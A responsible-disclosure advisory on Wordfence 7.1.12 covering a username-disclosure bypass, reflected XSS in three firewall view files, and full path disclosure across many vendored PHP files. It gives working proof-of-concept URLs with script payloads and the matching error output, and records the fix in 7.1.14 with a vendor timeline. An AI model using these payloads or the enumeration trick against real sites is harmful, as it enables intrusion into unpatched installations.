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December 13, 2018
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01: kolaz - Homepage
PacketStorm News
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[waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence Wordpress plugin





Author: Janek Vind "waraxe"
Date: 02. October 2018
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-109.html

Target description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wordfence includes an endpoint firewall and malware scanner that were built from
the ground up to protect WordPress. Our Threat Defense Feed arms Wordfence with
the newest firewall rules, malware signatures and malicious IP addresses it needs
to keep your website safe. Rounded out by a suite of additional features, Wordfence
is the most comprehensive WordPress security solution available.

https://wordpress.org/plugins/wordfence/
https://www.wordfence.com/

Vulnerable version: 7.1.12
Fixed version: 7.1.14
Active installations: 2+ million

###############################################################################
1. Wordpress username disclosure protection partial bypass
###############################################################################

Preconditions:
* works only for user who is author of the last post

Testing:

Let's try well know Wordpress username disclosure method with activated Wordfence:

http://localhost/wp498/?author=1

Result: "Oops! That page canít be found."

Now let's try modified query:

http://localhost/wp498/?author[]=

Result: "Author: root"

This method can disclose only one username - from author of the last post

###############################################################################
2. Reflected XSS in "403.php"
###############################################################################

Reasons:
* directly accessible PHP file
* uninitialized variable "customText"
Preconditions:
* PHP version < 5.4
* register_globals = On (default is "Off")

Testing:

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php?customText=<script>alert('XSS')</script>

###############################################################################
3. Reflected XSS in "503.php"
###############################################################################

Reasons:
* directly accessible PHP file
* uninitialized variables "reason" and "customText"
Preconditions:
* PHP version < 5.4
* register_globals = On (default is "Off")

Testing:

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?reason=<script>alert('XSS')</script>
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?customText=<script>alert('XSS')</script>

###############################################################################
4. Reflected XSS in "503-lockout.php"
###############################################################################

Reasons:
* directly accessible PHP file
* uninitialized variables "customText" and "homeURL"
Preconditions:
* PHP version < 5.4
* register_globals = On (default is "Off")

Testing:

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?customText=<script>alert('XSS')</script>
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?homeURL="><script>alert('XSS')</script>

###############################################################################
5. Full path disclosure in multiple PHP files
###############################################################################

Reasons:
* directly accessible PHP files
Preconditions:
* display_errors = On (default is "On")

Testing:

http://localhost/wp498/wp-content/plugins/wordfence/wordfence.php

Warning: Invalid argument supplied for foreach() in
C:apache_wwwwp498wp-contentpluginswordfencewordfence.php on line 20
Fatal error: Call to undefined function trailingslashit() in
C:apache_wwwwp498wp-contentpluginswordfencewordfence.php on line 31

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php

Fatal error: Call to a member function createNonce() on null in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcviews503.php on line 235

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php

Fatal error: Call to a member function createNonce() on null in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcviews503-lockout.php on line 240

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php

Fatal error: Class 'wfWAFUtils' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcviews403.php on line 234

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php

Fatal error: Class 'wfWAFUtils' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcviews403-roadblock.php on line 13

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php

Fatal error: Call to a member function getRequest() on null in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcviews403-blacklist.php on line 13

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php

Fatal error: Interface 'wfWAFStorageInterface' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclibstoragefile.php on line 3

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php

Fatal error: Class 'wfWAFException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclib
ules.php on line 15

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php

Fatal error: Class 'wfWAFBaseParser' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclibparsersqli.php on line 3

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php

Fatal error: Class 'wfWAFException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclibparserlexer.php on line 243

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php

Fatal error: Class 'wfWAFException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclibparserlexer.php on line 243

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php

Fatal error: Class 'wfWAFException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrclibhttp.php on line 439

http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/bootstrap-sample.php

Warning: file_get_contents(C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrc/baseRules.rules):
failed to open stream: No such file or directory in
C:apache_wwwwp498wp-contentpluginswordfencevendorwordfencewf-wafsrcootstrap-sample.php on line 40

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/WebService/Http/CurlRequest.php

Fatal error: Interface 'MaxMindWebServiceHttpRequest' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcWebServiceHttpCurlRequest.php on line 13

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/PermissionRequiredException.php

Fatal error: Class 'MaxMindExceptionInvalidRequestException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionPermissionRequiredException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/IpAddressNotFoundException.php

Fatal error: Class 'MaxMindExceptionInvalidRequestException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionIpAddressNotFoundException.php on line 6

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidRequestException.php

Fatal error: Class 'MaxMindExceptionHttpException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionInvalidRequestException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidInputException.php

Fatal error: Class 'MaxMindExceptionWebServiceException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionInvalidInputException.php on line 11

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InsufficientFundsException.php

Fatal error: Class 'MaxMindExceptionInvalidRequestException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionInsufficientFundsException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/HttpException.php

Fatal error: Class 'MaxMindExceptionWebServiceException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionHttpException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/AuthenticationException.php

Fatal error: Class 'MaxMindExceptionInvalidRequestException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendormaxmindweb-service-commonsrcExceptionAuthenticationException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/WebService/Client.php

Fatal error: Interface 'GeoIp2ProviderInterface' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcWebServiceClient.php on line 45

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Traits.php

Fatal error: Class 'GeoIp2RecordAbstractRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordTraits.php on line 92

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Subdivision.php

Fatal error: Class 'GeoIp2RecordAbstractPlaceRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordSubdivision.php on line 30

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/RepresentedCountry.php

Fatal error: Class 'GeoIp2RecordCountry' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordRepresentedCountry.php on line 30

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Postal.php

Fatal error: Class 'GeoIp2RecordAbstractRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordPostal.php on line 21

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/MaxMind.php

Fatal error: Class 'GeoIp2RecordAbstractRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordMaxMind.php on line 14

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Location.php

Fatal error: Class 'GeoIp2RecordAbstractRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordLocation.php on line 37

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Country.php

Fatal error: Class 'GeoIp2RecordAbstractPlaceRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordCountry.php on line 30

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Continent.php

Fatal error: Class 'GeoIp2RecordAbstractPlaceRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordContinent.php on line 23

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/City.php

Fatal error: Class 'GeoIp2RecordAbstractPlaceRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordCity.php on line 24

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/AbstractPlaceRecord.php

Fatal error: Class 'GeoIp2RecordAbstractRecord' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcRecordAbstractPlaceRecord.php on line 6

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Isp.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelIsp.php on line 21

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Insights.php

Fatal error: Class 'GeoIp2ModelCity' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelInsights.php on line 46

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Enterprise.php

Fatal error: Class 'GeoIp2ModelCity' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelEnterprise.php on line 46

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Domain.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelDomain.php on line 15

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Country.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelCountry.php on line 31

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/ConnectionType.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelConnectionType.php on line 15

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/City.php

Fatal error: Class 'GeoIp2ModelCountry' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelCity.php on line 48

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Asn.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelAsn.php on line 17

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/AnonymousIp.php

Fatal error: Class 'GeoIp2ModelAbstractModel' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcModelAnonymousIp.php on line 22

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/OutOfQueriesException.php

Fatal error: Class 'GeoIp2ExceptionGeoIp2Exception' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcExceptionOutOfQueriesException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/InvalidRequestException.php

Fatal error: Class 'GeoIp2ExceptionHttpException' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcExceptionInvalidRequestException.php on line 10

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/HttpException.php

Fatal error: Class 'GeoIp2ExceptionGeoIp2Exception' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcExceptionHttpException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php

Fatal error: Class 'GeoIp2ExceptionGeoIp2Exception' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcExceptionAuthenticationException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php

Fatal error: Class 'GeoIp2ExceptionGeoIp2Exception' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcExceptionAddressNotFoundException.php on line 9

http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Database/Reader.php

Fatal error: Interface 'GeoIp2ProviderInterface' not found in
C:apache_wwwwp498wp-contentpluginswordfencevendorgeoip2geoip2srcDatabaseReader.php on line 35

Solution:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Found issues have been addressed in Wordfence 7.1.14 release.

Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

13.09.2018 -> First email to vendor
13.09.2018 -> First response email from vendor
13.09.2018 -> Sending detailed information to vendor
01.10.2018 -> Found problems are fixed
02.10.2018 -> Current advisory released

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/
Personal homepage: http://www.janekvind.com/









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2018-10-02 (1243 reads)

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